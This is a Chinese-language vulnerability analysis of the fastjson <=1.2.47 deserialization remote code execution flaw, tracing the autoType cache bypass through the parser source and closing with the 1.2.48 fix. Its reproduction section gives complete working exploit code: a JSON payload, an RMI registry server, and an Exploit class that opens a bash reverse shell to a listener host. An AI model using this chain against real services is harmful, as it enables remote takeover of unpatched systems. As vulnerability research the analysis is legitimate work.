简介
fastjson是由阿里开发的一种json的解析器和生成器。在2019年6月26日,用户提出issue,存在远程代码执行的版本<=1.2.47.
fastjson下载地址:
fastjsongithub.com
环境准备
- jdk 1.6.0.65
- fastjson 1.2.47
实验场景
POC
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
复现采用jndi利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE ,了解jndi注入。
RMIRegistry.java
package deserialize;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
Exploit.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Exploit implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec();
return null;
}
private static void exec() {
try {
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999<&1");//反弹shell
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
exec();
}
}
POC.java
package deserialize;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] argv) {
String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}";
JSON.parse(payload);
}
}
- 使用
javac
编译Exploit.java
,得到的Exploit.class
,放入本地或其他服务器(由于rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。 - 运行 RMIRegistry.java。
- 攻击机(192.168.66.13) 运行
netcat -lvvp 9999
监听9999端口,运行POC.java,如图3-1可以看到成功拿到shell。
3-1
漏洞原理
Fastjson中负责处理parse的一般是DefaultJSONParser.parseObject。 fastjson中将带解析的数据用JSONLexer封装。对待解析的数据{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
从左向右解析。
4-1
在图4-1中,当解析到@type
时,进入checkAutoType
,传入的参数typeName=java.lang.Class
,跟进checkAutoType方法。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
//省略部分代码
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
//省略部分代码
return clazz;
}
在TypeUtils.getClassFromMapping
方法,第一次没有存入cache为null,跟进deserializers.findClass(typeName)
,可以看到该方法通过keyString(这里传入的是java.lang.class)
匹配this.buckets
的className,this.buckets
存在java.lang.class
,所以返回java.lang.class
。
public Class findClass(String keyString) {
for(int i = 0; i < this.buckets.length; ++i) {
IdentityHashMap.Entry bucket = this.buckets[i];
if (bucket != null) {
for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {
Object key = bucket.key;
if (key instanceof Class) {
Class clazz = (Class)key;
String className = clazz.getName();
if (className.equals(keyString)) {
return clazz;
}
}
}
}
}
return null;
}
回到DefaultJSONParser.parseObject()
方法,继续跟进,如图4-2,通过 config.getDeserializer
获得反序列化的路由类 MiscCodec
。并调用该路用类的deserialze(this, clazz, fieldName)
方法.
4-2
跟进该方法中,如图4-3,主要调用parser.parse()
方法提取到com.sun.rowset.JdbcRowSetImpl
赋给objVal对象。
4-3
继续往下走,如图4-4,调用TypeUtils.loadClass
。
4-4
跟进loadClass(String className, ClassLoader classLoader)
方法,如图4-5,loadClass
调用该方法的重载方法,设置$cache$为true。
4-5
跟进loadClass
的重载方法,将com.sun.rowset.JdbcRowSetImpl
存入上文在checkAutoType
中提到mappings
中(即缓存中)。
4-6
图4-6 至此第一部分解析完了,主要做的是将com.sun.rowset.JdbcRowSetImpl
存入mappings中,接下来解析第二部分,让我们回到DefaultJSONParser.parseObject()
,解析的第二个键值对如下:
"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
和第一个一样,不同的是,此时的typeName为com.sun.rowset.JdbcRowSetImpl
。
4-7
跟进config.checkAutoType(String typeName, Class<?> expectClass, int features)
方法,如图4-8,由于第一次解析中将com.sun.rowset.JdbcRowSetImpl
存入mappings中。如图4-9,这次直接通过TypeUtils.getClassFromMapping(typeName);
获取到com.sun.rowset.JdbcRowSetImpl对象。并返回该对象。(同样绕过checkAutoType中黑名单限制以及autoType开关的检查)
4-8
4-9
图4-9 和第一次一样,如图4-10调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer
。
4-10
图4-10 跟进deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)
,首先有一些asm操作,接着调用如deserialze
方法,如图4-11。
4-11
在setValue
中通过method.invoke(object, value)
反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit
方法 .
4-12
跟进setAutoCommit
中,如图-13调用this.connect()
4-13
this.connect()
对成员变量dataSourceName进行lookup,成功利用jndi注入。
4-14
调用链:
Exec:620,Runtime //命令执行
Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数
parseObject:368,DefaultJSONParser //解析传入的json字符串
官方修复
官方在1.2.48版本更改以下代码进行修复,推荐升级到最新版本。
- 黑名单修复,增加8409640769019589119(java.lang.Class) 1459860845934817624(java.net.InetAddress)两个类的黑名单。
- MiscCodec.java文件对cache缓存设置成false
- ParserConfig.java文件对checkAutoType()进行了相关策略调整 .